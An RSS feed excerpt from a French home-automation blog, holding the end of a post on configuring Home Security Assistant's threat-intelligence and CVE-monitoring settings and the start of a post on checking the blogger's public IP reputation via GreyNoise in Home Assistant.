<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Pourquoi j’ajoute ces deux services ?</h4>
<p>Au départ, Home Security Assistant voit surtout :</p>
<ul>
<li>des IP ;</li>
<li>des flux ;</li>
<li>des volumes de trafic ;</li>
<li>des comportements réseau.</li>
</ul>
<p>Avec VirusTotal et AbuseIPDB, ces informations deviennent beaucoup plus lisibles.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-11364" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-222842.png" alt="" width="648" height="225" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-222842.png 700w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-222842-300x104.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-222842-600x208.png 600w" sizes="auto, (max-width: 648px) 100vw, 648px" /></p>
<p>Au lieu d’avoir simplement :</p>
<pre><code class="language-text">IP suspecte : 185.xxx.xxx.xxx</code></pre>
<p>Home Security Assistant peut enrichir l’information avec des éléments de réputation :</p>
<ul>
<li>IP déjà signalée ;</li>
<li>score de confiance ;</li>
<li>catégorie de menace ;</li>
<li>historique de signalements ;</li>
<li>contexte de sécurité.</li>
</ul>
<p>Pour une installation domestique, cela permet de mieux comprendre ce que l’on observe, sans pour autant automatiser immédiatement des blocages.</p>
<p>Et c’est exactement l’approche que je préfère :</p>
<ul>
<li>observer d’abord ;</li>
<li>comprendre ensuite ;</li>
<li>automatiser seulement si c’est vraiment nécessaire.</li>
</ul>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3af.png" alt="🎯" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Confiance AbuseIPDB avant interrogation VirusTotal</h4>
<p>Ce curseur définit à partir de quel score AbuseIPDB une IP sera considérée suffisamment suspecte pour déclencher une interrogation VirusTotal.</p>
<p>Le principe est intelligent :</p>
<ul>
<li>éviter les appels inutiles ;</li>
<li>réduire la consommation API ;</li>
<li>prioriser les IP réellement suspectes.</li>
</ul>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9f9.png" alt="🧹" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Rétention des IP propres</h4>
<pre><code class="language-text">5 heures</code></pre>
<p>Les IP considérées comme normales sont conservées peu longtemps.</p>
<p>C’est cohérent :</p>
<ul>
<li>le trafic légitime est extrêmement volumineux ;</li>
<li>il est inutile de le conserver trop longtemps ;</li>
<li>cela économise mémoire et stockage.</li>
</ul>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Rétention des IP suspectes</h4>
<pre><code class="language-text">48 heures</code></pre>
<p>Les IP suspectes restent visibles plus longtemps afin de :</p>
<ul>
<li>faciliter l’analyse ;</li>
<li>repérer des comportements répétitifs ;</li>
<li>corréler certains événements.</li>
</ul>
<p>Cette valeur me semble particulièrement pertinente pour un usage domestique.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2620.png" alt="☠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Rétention des IP malveillantes</h4>
<pre><code class="language-text">168 heures</code></pre>
<p>Soit :</p>
<pre><code class="language-text">7 jours</code></pre>
<p>Les IP identifiées comme réellement malveillantes sont conservées beaucoup plus longtemps.</p>
<p>Cela permet :</p>
<ul>
<li>d’identifier des attaques répétées ;</li>
<li>de suivre certaines tentatives persistantes ;</li>
<li>de conserver un historique exploitable.</li>
</ul>
<p>Pour un Raspberry Pi domestique, cette valeur reste raisonnable.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> TTL du cache d’enrichissement</h4>
<pre><code class="language-text">1440 minutes</code></pre>
<p>Soit :</p>
<pre><code class="language-text">24 heures</code></pre>
<p>Ce paramètre évite de réinterroger en permanence les services de renseignement externes.</p>
<p>Cela permet :</p>
<ul>
<li>de limiter les appels API ;</li>
<li>de réduire la charge ;</li>
<li>de rendre l’intégration plus fluide ;</li>
<li>d’éviter certains blocages liés aux quotas.</li>
</ul>
<p>Là encore, la valeur par défaut est très bien pensée.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-11320" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-073633.png" alt="" width="530" height="662" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-073633.png 530w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-073633-240x300.png 240w" sizes="auto, (max-width: 530px) 100vw, 530px" /></p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4ca.png" alt="📊" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Budget quotidien de requêtes VirusTotal</h4>
<pre><code class="language-text">500</code></pre>
<p>Ce paramètre limite le nombre de requêtes quotidiennes envoyées à VirusTotal.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4c8.png" alt="📈" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Budget quotidien de requêtes AbuseIPDB</h4>
<pre><code class="language-text">1000</code></pre>
<p>Même logique ici. Ce paramètre définit le nombre maximal d’interrogations vers AbuseIPDB.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f5c3.png" alt="🗃" class="wp-smiley" style="height: 1em; max-height: 1em;" /> URL de l’API NVD</h4>
<pre><code class="language-text">https://services.nvd.nist.gov/rest/json/cves/2.0</code></pre>
<p>Cette URL pointe vers la base officielle NVD :</p>
<pre><code class="language-text">National Vulnerability Database</code></pre>
<p>gérée par le NIST américain.</p>
<p>C’est l’une des références mondiales en matière de :</p>
<ul>
<li>vulnérabilités CVE ;</li>
<li>scores CVSS ;</li>
<li>références de sécurité ;</li>
<li>suivi des failles publiques.</li>
</ul>
<p>Home Security Assistant peut utiliser cette base afin de :</p>
<ul>
<li>repérer des produits vulnérables ;</li>
<li>corréler certains équipements ;</li>
<li>mettre en évidence des risques potentiels.</li>
</ul>
<p>L’URL par défaut est évidemment à conserver.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/23f3.png" alt="⏳" class="wp-smiley" style="height: 1em; max-height: 1em;" /> TTL du cache NVD</h4>
<pre><code class="language-text">12 heures</code></pre>
<p>Ce paramètre définit à quelle fréquence les informations CVE sont rafraîchies.</p>
<p>Une mise à jour trop fréquente :</p>
<ul>
<li>augmenterait inutilement le trafic ;</li>
<li>consommerait davantage de ressources ;</li>
<li>n’apporterait pas de réel bénéfice.</li>
</ul>
<p>La valeur proposée représente un excellent compromis.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4c5.png" alt="📅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Année minimale des CVE</h4>
<pre><code class="language-text">2020</code></pre>
<p>Cette option est particulièrement intéressante.</p>
<p>Elle permet de limiter l’analyse aux vulnérabilités récentes.</p>
<p>Pourquoi est-ce utile ?</p>
<p>Parce que la base CVE contient des dizaines de milliers d’entrées historiques.</p>
<p>Or, dans un environnement domestique :</p>
<ul>
<li>les vulnérabilités très anciennes sont souvent moins pertinentes ;</li>
<li>les équipements récents sont davantage concernés par les CVE modernes ;</li>
<li>cela réduit fortement le bruit.</li>
</ul>
<p>La valeur 2020 est donc cohérente :</p>
<ul>
<li>elle conserve plusieurs années d’historique ;</li>
<li>sans surcharger inutilement le système.</li>
</ul>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50d.png" alt="🔍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Mots-clés de recherche NVD</h4>
<p>Ce champ contient une liste de produits et services à surveiller dans les bases CVE :</p>
<pre><code class="language-text">OpenSSH
Android Debug Bridge
Apache HTTP Server
nginx
MySQL
MariaDB
...</code></pre>
<p>Cette liste permet à Home Security Assistant :</p>
<ul>
<li>d’identifier certaines technologies présentes sur le réseau ;</li>
<li>de rechercher les vulnérabilités associées ;</li>
<li>de faire remonter des alertes contextualisées.</li>
</ul>
<p>Elle rapproche Home Assistant d’une logique de :</p>
<ul>
<li>gestion de vulnérabilités ;</li>
<li>inventaire de surface d’attaque ;</li>
<li>cyber-hygiène domestique.</li>
</ul>
<p>Dans mon cas, j’ai conservé la liste proposée par défaut.</p>
<p>Elle couvre déjà beaucoup de services fréquemment présents dans les laboratoires domestiques et les environnements self-hosted.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4c9.png" alt="📉" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Statistiques : afficher les N premières entrées</h4>
<p>Le curseur permet de choisir combien d’éléments seront affichés dans les statistiques et tableaux de bord.</p>
<p>Par exemple :</p>
<ul>
<li>top des IP actives ;</li>
<li>sources suspectes ;</li>
<li>ports les plus utilisés ;</li>
<li>vulnérabilités détectées ;</li>
<li>activités réseau importantes.</li>
</ul>
<p>La valeur intermédiaire proposée par défaut est très bien équilibrée :</p>
<ul>
<li>assez d’informations pour être utile ;</li>
<li>sans surcharger l’interface Home Assistant.</li>
</ul>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Validation finale de la configuration</h3>
<p>Une fois cette dernière page validée, Home Security Assistant devient pleinement opérationnel.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-11321" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-074731.png" alt="" width="301" height="475" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-074731.png 301w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-074731-190x300.png 190w" sizes="auto, (max-width: 301px) 100vw, 301px" /></p>
<p>Quelques minutes après le démarrage, les premiers indicateurs commencent déjà à apparaître dans Home Assistant.</p>
<p>C’est probablement l’un des moments les plus satisfaisants du projet :</p>
<p><strong>voir enfin le réseau domestique prendre vie sous forme de données de sécurité exploitables.</strong></p>
<p>Après :</p>
<ul>
<li>la configuration du port miroir ;</li>
<li>l’installation de Suricata ;</li>
<li>la collecte des flux réseau ;</li>
<li>la configuration de softflowd ;</li>
<li>l’intégration dans Home Assistant ;</li>
</ul>
<p>le système commence enfin à produire une vision cohérente de l’activité réseau domestique.</p>
<p>Voici par exemple les premiers capteurs apparus quelques instants après la mise en route :</p>
<ul>
<li><strong>HSA Active Devices</strong> : nombre d’équipements actifs détectés sur le réseau ;</li>
<li><strong>HSA High Egress Sources</strong> : sources générant un volume inhabituellement élevé de trafic sortant ;</li>
<li><strong>HSA NVD Keywords</strong> : mots-clés et technologies surveillés dans la base de vulnérabilités NVD ;</li>
<li><strong>HSA Open Findings</strong> : alertes et éléments de sécurité actuellement ouverts ;</li>
<li><strong>HSA Scanned Devices</strong> : nombre d’équipements analysés par le scanner actif ;</li>
<li><strong>HSA Suspicious Sources</strong> : sources réseau considérées comme suspectes selon les règles de détection et les flux de renseignement ;</li>
<li><strong>HSA Total Flows</strong> : nombre total de flux réseau observés ;</li>
<li><strong>HSA Vulnerabilities</strong> : vulnérabilités détectées ou corrélées à partir des informations collectées.</li>
</ul>
<p>Dans mon cas, les chiffres ont commencé à grimper très rapidement. Avant d’écrire cette page, j’ai laissé tourner le système toute une nuit :</p>
<ul>
<li>plus de 150 000 flux réseau détectés ;</li>
<li>plus de 60 équipements actifs ;</li>
<li>des dizaines de vulnérabilités identifiées ;</li>
<li>plusieurs sources considérées comme suspectes.</li>
</ul>
<p>Et c’est précisément là que le projet devient passionnant.</p>
<p>On réalise soudain à quel point un réseau domestique moderne génère énormément d’activité :</p>
<ul>
<li>objets connectés ;</li>
<li>assistants vocaux ;</li>
<li>smartphones ;</li>
<li>NAS ;</li>
<li>services cloud ;</li>
<li>TV connectées ;</li>
<li>services de streaming ;</li>
<li>containers ;</li>
<li>automatisations domotiques.</li>
</ul>
<p>Même dans un environnement personnel, la surface réseau devient rapidement très complexe.</p>
<p>Et c’est justement ce que Home Security Assistant permet enfin de rendre visible.</p>
<p>Je renomme tous les capteurs en leur donnant des titres en français.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-11367" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-230838.png" alt="" width="331" height="530" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-230838.png 331w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-230838-187x300.png 187w" sizes="auto, (max-width: 331px) 100vw, 331px" /></p>
<h2><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f440.png" alt="👀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Premières impressions après la mise en route</h2>
<p>Pour l&rsquo;instant, les informations qui remontent dans HA sont limitées à des nombres, je suis donc allé dans l&rsquo;interface de HSA.</p>
<p>Ce qui m’a immédiatement frappé, c’est la quantité d’informations disponibles sans configuration complexe supplémentaire.</p>
<p>Très rapidement, Home Assistant affichait :</p>
<ul>
<li>les appareils actifs ;</li>
<li>les volumes de trafic ;</li>
<li>les IP suspectes ;</li>
<li>les échanges réseau importants ;</li>
<li>des statistiques de sécurité lisibles ;</li>
<li>des débuts de corrélation de menaces.</li>
</ul>
<p>Et surtout, tout cela directement intégré dans l’écosystème domotique existant.</p>
<p>C’est probablement ce qui rend ce projet particulièrement intéressant : on apporte des mécanismes de cybersécurité avancés dans un environnement Home Assistant, sans devoir déployer une infrastructure professionnelle lourde et complexe.</p>
<p>Le résultat est à la fois :</p>
<ul>
<li>pédagogique ;</li>
<li>visuel ;</li>
<li>utile ;</li>
<li>évolutif.</li>
</ul>
<p>À cette étape, je suis à la fois très heureux et extrêmement curieux de poursuivre la découverte de Home Security Assistant.</p>
<p>Je n’imagine même pas le temps passé par domo-monster pour réaliser ce travail qui, une fois configuré, s’illumine et s’anime presque tout seul.</p>
<p>L’écran <strong>Map</strong> est vivant, lisible et vraiment impressionnant à observer.</p>
<p>Franchement : bravo.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-11322" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-075716.png" alt="" width="1437" height="915" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-075716.png 1437w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-075716-300x191.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-075716-1024x652.png 1024w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-075716-768x489.png 768w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-075716-600x382.png 600w" sizes="auto, (max-width: 1437px) 100vw, 1437px" /></p>
<h2><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3af.png" alt="🎯" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Conclusion</h2>
<p>Cette architecture apporte une vraie couche de visibilité réseau :</p>
<ul>
<li>sans complexifier l’installation ;</li>
<li>sans modifier le trafic ;</li>
<li>et sans dépendre du routeur.</li>
</ul>
<p>Le couple :</p>
<ul>
<li><strong>switch manageable + port mirroring + Raspberry Pi</strong></li>
</ul>
<p>constitue une excellente base pour construire un IDS domestique performant et entièrement local.</p>
<p>Et surtout :</p>
<ul>
<li>l’analyse reste totalement passive ;</li>
<li>ce qui garantit une excellente stabilité du réseau.</li>
</ul>
<p>Pour un laboratoire domotique avancé ou un réseau résidentiel moderne, c’est une solution particulièrement élégante.</p>
<p>J’ai maintenant largement de quoi m’amuser pendant quelques week-ends… ou quelques nuits d’insomnie <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f604.png" alt="😄" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p>Je ne pensais honnêtement pas que ce RetEx deviendrait aussi long et dense… mais finalement, j’y suis arrivé.</p>
<p>Alors si vous avez lu jusqu’ici : bravo <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f605.png" alt="😅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p>Je vais m’arrêter à ce stade pour cet article, mais il est très probable que je publie la suite avec d’autres RetEx autour de Home Security Assistant et de son exploitation au quotidien.</p>
<p>Et évidemment, je termine par un énorme remerciement à <strong>domo-monster</strong>, qui nous apporte ici sur un plateau d’argent le fruit de probablement très nombreuses années d’expérience et d’investissement dans le domaine de la cybersécurité.</p>
<p>Le résultat est vraiment impressionnant.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-11327" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Reseau2-1.png" alt="" width="1536" height="1024" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Reseau2-1.png 1536w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Reseau2-1-300x200.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Reseau2-1-1024x683.png 1024w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Reseau2-1-768x512.png 768w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Reseau2-1-600x400.png 600w" sizes="auto, (max-width: 1536px) 100vw, 1536px" /></p>
<h2>Question ? Besoin d&rsquo;aide ?</h2>
<p>J&rsquo;ai posté un message sur le forum de la communaté francophone de Home assistant, n&rsquo;hésitez pas à l&rsquo;utiliser pour me questionner ou apporter votre expérience :</p>
<ul>
<li><a href="https://forum.hacf.fr/t/article-jai-mis-en-place-une-sonde-de-surveillance-cybersecurite-pour-mon-reseau-domotique/79578" target="_blank" rel="noopener">https://forum.hacf.fr/t/article-jai-mis-en-place-une-sonde-de-surveillance-cybersecurite-pour-mon-reseau-domotique/79578</a></li>
</ul>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>我监控我的公共IP在家庭助理的声誉</title>
		<link href="">https://www.sigalou-domotique.fr/zh/je-surveille-la-reputation-de-mon-ip-publique-dans-home-assistant</link>
		
		<dc:creator><![CDATA[Sigalou]]></dc:creator>
		<pubdate>太阳，2026年3月29日 10:58:20 + 0000</pubdate>
				<category><![CDATA[CyberSécurité]]></category>
		<category><![CDATA[Domotique]]></category>
		<category><![CDATA[Home Assistant]]></category>
		<guid ispermalink="false">https://www.sigalou-domotique.fr/?p=11223</guid>

					<description><![CDATA[Je passe beaucoup de temps à surveiller, sécuriser et comprendre ce qui se passe sur mon réseau domestique. Entre la box Internet, les équipements exposés sans le vouloir et les scans permanents venus d’Internet, je me suis demandé un jour une chose toute simple : mon IP publique est-elle connue comme “bruyante” ou suspecte sur [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Je passe beaucoup de temps à surveiller, sécuriser et comprendre ce qui se passe sur mon réseau domestique. Entre la box Internet, les équipements exposés sans le vouloir et les scans permanents venus d’Internet, je me suis demandé un jour une chose toute simple : <strong>mon IP publique est-elle connue comme “bruyante” ou suspecte sur Internet ?</strong></p>
<p>C&rsquo;est à dire, des outils malveillants utilisent ils mon réseau (pc, NAS, routeur, HA, &#8230;) ??</p>
<p>C’est comme cela que je suis tombé sur <a href="https://viz.greynoise.io/" target="_blank" rel="noopener">GreyNoise</a>, un service vraiment intéressant qui permet de savoir si une adresse IP fait partie du “bruit” d’Internet, c’est-à-dire si elle est observée dans des activités de scan, de sondage ou de trafic malveillant.</p>
<p>GreyNoise décrit justement son approche comme une manière de qualifier le bruit de fond d’Internet et de contextualiser une IP observée.</p>
<p>Et comme souvent avec moi, après quelques tests, je me suis dit : “Tiens, ce serait quand même pratique d’avoir ça directement dans Home Assistant”.</p>
<p>Au départ, je pensais faire quelque chose de très simple avec une requête HTTP classique. Sur le papier, cela semblait trivial. En pratique, la méthode la plus évidente n’a pas fonctionné chez moi comme je l’espérais. J’ai donc changé d’approche et je suis finalement parti sur un capteur en ligne de commande. Dans cet article, je te raconte tout cela pas à pas, comme je l’ai réellement mis en place chez moi, avec les cartes Lovelace pour l’affichage final.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-11230" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/03/Capture-decran-2026-03-29-131124.png" alt="" width="459" height="179" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/03/Capture-decran-2026-03-29-131124.png 459w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/03/Capture-decran-2026-03-29-131124-300x117.png 300w" sizes="auto, (max-width: 459px) 100vw, 459px" /></p>
<p><span id="more-11223"></span></p>
<h2><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3af.png" alt="🎯" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Mon objectif</h2>
<p>Mon objectif était simple : intégrer dans Home Assistant un capteur capable d’interroger GreyNoise pour connaître l’état de mon IP publique, puis afficher le résultat dans un dashboard clair et lisible.</p>
<p>L’idée n’était pas de transformer Home Assistant en centre de cybersécurité avancé, mais plutôt d’ajouter un petit indicateur de contexte.</p>
<p>Un coup d’œil rapide devait me permettre de savoir si mon IP était vue comme bénigne, inconnue, ou éventuellement liée à une activité plus suspecte.</p>
<p>GreyNoise expose précisément ce type d’information via son endpoint public de vérification.</p>
<p>Je voulais aussi quelque chose de compréhensible pour un débutant : un capteur, quelques attributs utiles, et de jolies cartes pour rendre tout cela lisible sans avoir à ouvrir un terminal et évidemment sans prendre d&rsquo;abonnement de quoi que ce soit et sans m&rsquo;enregistrer non.</p>
<h2><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> GreyNoise, c’est quoi ?</h2>
<p>Quand on découvre GreyNoise pour la première fois, on peut se demander à quoi cela sert exactement.</p>
<p>En version très simple, GreyNoise observe en permanence le bruit de fond d’Internet : les scans automatisés, les sondages d’adresses IP, les tentatives de connexion répétitives, tous ces comportements qu’on ne voit pas forcément à l’œil nu mais qui existent en permanence sur le réseau mondial.</p>
<p>GreyNoise présente justement son service comme un moyen de distinguer l’activité de fond du trafic réellement significatif.</p>
<p>L’intérêt de GreyNoise, c’est qu’il permet de contextualiser une adresse IP. En gros, on peut savoir si cette IP est connue comme participant à ce bruit Internet, si elle est considérée comme légitime, ou si elle n’est tout simplement pas connue de leurs systèmes. Leur service public de vérification renvoie ce contexte sous forme de JSON.</p>
<p>Quand j’ai compris cela, j’ai trouvé l’idée excellente pour la maison. On a souvent une box Internet, parfois des redirections de ports, un VPN, des équipements accessibles à distance, et on ne sait pas toujours comment notre IP est “vue” depuis l’extérieur.</p>
<p>Sans être un outil de sécurité complet, GreyNoise donne un indice intéressant.</p>
<h2><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f193.png" alt="🆓" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Les outils gratuits GreyNoise</h2>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-11240" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/03/Capture-decran-2026-03-29-134347.png" alt="" width="751" height="152" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/03/Capture-decran-2026-03-29-134347.png 751w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/03/Capture-decran-2026-03-29-134347-300x61.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/03/Capture-decran-2026-03-29-134347-600x121.png 600w" sizes="auto, (max-width: 751px) 100vw, 751px" /></p>
<p>Ce que j’ai bien aimé, c’est qu’on peut déjà tester des choses gratuitement, sans rentrer tout de suite dans une intégration compliquée.</p>
<p>Le premier outil pratique, c’est leur page de vérification en ligne. On ouvre la page, et elle indique directement comment l’IP publique utilisée pour la navigation est vue par GreyNoise.</p>
<ul>
<li><a href="https://check.labs.greynoise.io/" target="_blank" rel="noopener">https://check.labs.greynoise.io/</a></li>
</ul>
<p>C’est très pratique pour faire un premier test rapide, sans rien installer.</p>
<p>L’autre point très intéressant, c’est qu’il existe une API simple à interroger. Et c’est précisément cette API que j’ai voulu exploiter dans Home Assistant. En ligne de commande, cela revient à faire une requête du type :</p>
<pre class="EnlighterJSRAW" data-enlighter-language="bash">curl -s -H "Accept: application/json" https://check.labs.greynoise.io/api/v1/check</pre>
<p>Chez moi, la réponse ressemblait à ceci :</p>
<pre class="EnlighterJSRAW" data-enlighter-language="json">{
  "ip": "82.65.xxx.xxx",
  "status": "not_found",
  "classification": null,
  "noise": false,
  "common_business_services": false,
  "trust_level": null,
  "error": "ip not found"
}</pre>
<p>Ce format correspond bien au fonctionnement documenté du service public GreyNoise, qui renvoie notamment l’IP, le statut, la classification, l’indicateur <code>noise</code>, l’indicateur <code>common_business_services</code>, le niveau de confiance et un éventuel message d’erreur.</p>
<p>Dit simplement : mon IP n’était pas connue par GreyNoise, ce qui est plutôt rassurant dans ce contexte.</p>
<h2><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9ea.png" alt="🧪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Mon premier essai dans Home Assistant</h2>
<p>Comme souvent, j’ai commencé par la solution qui me semblait la plus “propre” : utiliser un capteur REST dans Home Assistant.</p>
<p>Sur le principe, c’était logique. J’avais une URL HTTP qui renvoyait du JSON, donc je me suis dit qu’un capteur REST ferait parfaitement l’affaire. La documentation Home Assistant REST permet justement de définir une ressource HTTP, de lire le JSON avec <code>value_template</code> et de récupérer des champs comme attributs avec <code>json_attributes</code>.</p>
<p>Je pensais récupérer directement l’état et les attributs comme l’IP, la classification ou encore le niveau de confiance.</p>
<p>Sauf que chez moi, cette approche n’a pas fonctionné correctement. Le capteur restait dans un état inexploitable. Plutôt que de perdre du temps à m’acharner sur une méthode qui ne donnait pas un résultat stable dans mon installation, j’ai décidé de basculer sur une autre solution.</p>
<p>Et honnêtement, c’est souvent comme cela que ça se passe en domotique : on part avec une idée, puis on ajuste en fonction du réel.</p>
<h2><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2328.png" alt="⌨" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Pourquoi je suis parti sur command_line</h2>
<p>J’ai finalement choisi de m’appuyer sur un capteur en ligne de commande. Ce n’est pas forcément la méthode la plus “élégante” sur le papier, mais dans mon cas elle a été bien plus fiable.</p>
<p>Le principe est simple : Home Assistant exécute une commande <code>curl</code>, récupère la réponse JSON, puis extrait l’état principal et plusieurs attributs. L’intégration <code>command_line</code> de Home Assistant prend justement en charge une commande shell, un <code>value_template</code> et des attributs JSON.</p>
<p>Autrement dit, je suis parti d’un test qui fonctionnait déjà dans mon terminal, puis je l’ai simplement transposé dans Home Assistant.</p>
<p>C’est souvent une bonne stratégie pour les débutants : quand quelque chose marche déjà à la main, il est plus facile de comprendre ensuite ce qui se passe dans Home Assistant.</p>
<h2><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2699.png" alt="⚙" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Configuration dans Home Assistant</h2>
<p>Dans mon fichier <code>configuration.yaml</code>, j’ai commencé par inclure un fichier dédié pour mes capteurs en ligne de commande :</p>
<pre class="EnlighterJSRAW" data-enlighter-language="yaml">command_line: !include command_line.yaml</pre>
<p>Ensuite, dans <code>command_line.yaml</code>, j’ai ajouté ce capteur :</p>
<pre class="EnlighterJSRAW" data-enlighter-language="yaml">- sensor:
    name: "GreyNoise IP Check"
    unique_id: greynoise_ip_check
    icon: mdi:shield-search
    command: 'curl -s -H "Accept: application/json" https://check.labs.greynoise.io/api/v1/check'
    command_timeout: 20
    scan_interval: 100800
    value_template: "{{ value_json['status'] }}"
    json_attributes:
      - ip
      - classification
      - noise
      - common_business_services
      - trust_level
      - error</pre>
<p>Je vais détailler cela très simplement :</p>
<ul>
<li><strong>command</strong> : c’est la commande réellement exécutée par Home Assistant.</li>
<li><strong>command_timeout</strong> : j’autorise ici jusqu’à 20 secondes avant abandon.</li>
<li><strong>scan_interval</strong> : c’est la fréquence d’exécution, en secondes. Ici j’ai choisi 100800 secondes, donc toutes les 28 heures.</li>
<li><strong>value_template</strong> : cela récupère la valeur principale du capteur, ici le champ <code>status</code> du JSON.</li>
<li><strong>json_attributes</strong> : cela permet de stocker d’autres champs utiles comme attributs du capteur.</li>
</ul>
<p>Pourquoi 28 heures ? Tout simplement parce que je n’avais pas besoin d’interroger GreyNoise toutes les heures. Et je veux éviter 24h car beaucoup de capteurs sont sur 24, donc ce sera 28h aujourd&rsquo;hui. Ce n’est pas une donnée qui change en permanence chez moi, donc je préfère une exécution espacée.</p>
<h2><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9fe.png" alt="🧾" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Ce que le capteur me remonte</h2>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-11248" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/03/Capture-decran-2026-03-29-143144.png" alt="" width="708" height="242" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/03/Capture-decran-2026-03-29-143144.png 708w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/03/Capture-decran-2026-03-29-143144-300x103.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/03/Capture-decran-2026-03-29-143144-600x205.png 600w" sizes="auto, (max-width: 708px) 100vw, 708px" /></p>
<p>Une fois le capteur opérationnel, je récupère un état principal et plusieurs attributs.</p>
